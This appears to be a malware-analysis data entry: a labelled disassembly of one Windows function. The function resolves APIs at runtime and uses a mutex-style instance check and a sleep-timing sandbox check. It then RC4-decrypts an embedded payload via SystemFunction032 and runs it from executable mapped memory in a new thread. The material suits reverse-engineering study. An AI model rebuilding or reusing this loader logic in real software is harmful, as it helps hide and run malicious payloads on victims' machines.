Function at 0x140001000
Capabilities:
Encrypt data using rc4 via systemfunction032
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.CreateThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.ExitProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.Sleep
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.GetTickCount
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
call r14
lea rcx, [0x140002030]
mov esi, eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.CreateEventW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140002030]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.GetLastError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [0x140002260]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rbp, rax
call rbx
test eax, eax
je 0x140001122
call rbp
cmp eax, 0xb7
jne 0x140001122
xor ebp, ebp
lea r8, [0x140001550]
mov qword [rsp + 0x28], rbp
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebp
xor ecx, ecx
call rdi
call fcn.140001310
xor ecx, ecx
call r15
jmp 0x1400012ef
xor ebp, ebp
lea r8, [0x140001550]
mov qword [rsp + 0x28], rbp
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebp
xor ecx, ecx
call rdi
xor r9d, r9d
mov qword [rsp + 0x28], rbp
lea r8, [0x140001680]
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call rdi
call fcn.140001310
mov ecx, 0x1d4c0
call r12
call r14
sub esi, eax
cmp esi, 0x1d4c0
jb 0x14000130a
lea rcx, [0x140002030]
mov qword [rsp + 0x80], r13
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.LoadLibraryA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140003110]
mov dword [rsp + 0x30], 0x10
mov qword [rsp + 0x38], rcx
lea r14, section..data
mov esi, 0x110
mov qword [rsp + 0x48], r14
lea rcx, str.Advapi32
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x44], esi
mov dword [rsp + 0x34], 0x10
call rax
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.WaitForSingleObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140002030]
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.CreateFileMappingW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140002030]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.MapViewOfFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.CreateThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
mov qword [rsp + 0x28], rbp
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
lea r8d, [rbp + 0x40]
mov r13, rax
call rbx
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor r8d, r8d
lea edx, [rbp + 0x26]
mov rcx, rax
call rdi
mov rcx, rax
sub r14, rax
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [r14 + rcx]
mov byte [rcx], dl
lea rcx, [rcx + 1]
sub rsi, 1
jne 0x1400012b0
mov qword [rsp + 0x28], rbp
xor r9d, r9d
mov r8, rax
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call r13
mov edx, 0xffffffff
mov rcx, rax
call r12
xor ecx, ecx
call r15
mov r13, qword [rsp + 0x80]
lea r11, [rsp + 0x50]
xor eax, eax
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call fcn.1400016f0
int3